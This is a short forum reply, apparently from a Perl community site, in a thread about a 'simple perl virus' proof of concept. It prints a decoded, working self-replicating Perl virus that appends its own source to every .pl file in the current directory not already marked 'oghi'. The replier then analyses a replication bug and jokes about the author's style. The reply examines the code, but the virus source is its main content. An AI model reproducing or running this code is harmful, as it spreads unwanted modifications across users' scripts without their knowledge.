in reply to Simple perl virus PoC
Here's a "decoded" version:
$_ = q{ @oghi = <*>; files: foreach(@oghi){ if ( m^.pl^ ){ $a = $_; open(file,$a); while (<file>){ next files if m`oghi`; } close file; open(file,'>>'.$a ); open(self,$0); print file while <self>; close file; close self; } } }; eval;
I haven't run this, but it looks to me as if it has a bug. If you run it by itself, it will "infect" every .pl it finds. Say it infects a.pl. If I then run a.pl, and it gets to this code (i.e., a.pl does not die or exit or exec or something), it will try again to infect everything, but at that point, all of a.pl will be attached to the new infections (instead of just the virus code).
Note to future "virus" authors: You don't normally need to call close. Perl will do it for you. Doing this in a virus is like an armed robber saying "please" and "thank you". On the other hand, I found it funny.
|
|---|
| Replies are listed 'Best First'. | |
|---|---|
|
Re^2: Simple perl virus
by bart (Canon) on Apr 10, 2008 at 11:40 UTC | |
|
Re^2: Simple perl virus
by wol (Hermit) on Sep 09, 2008 at 15:42 UTC |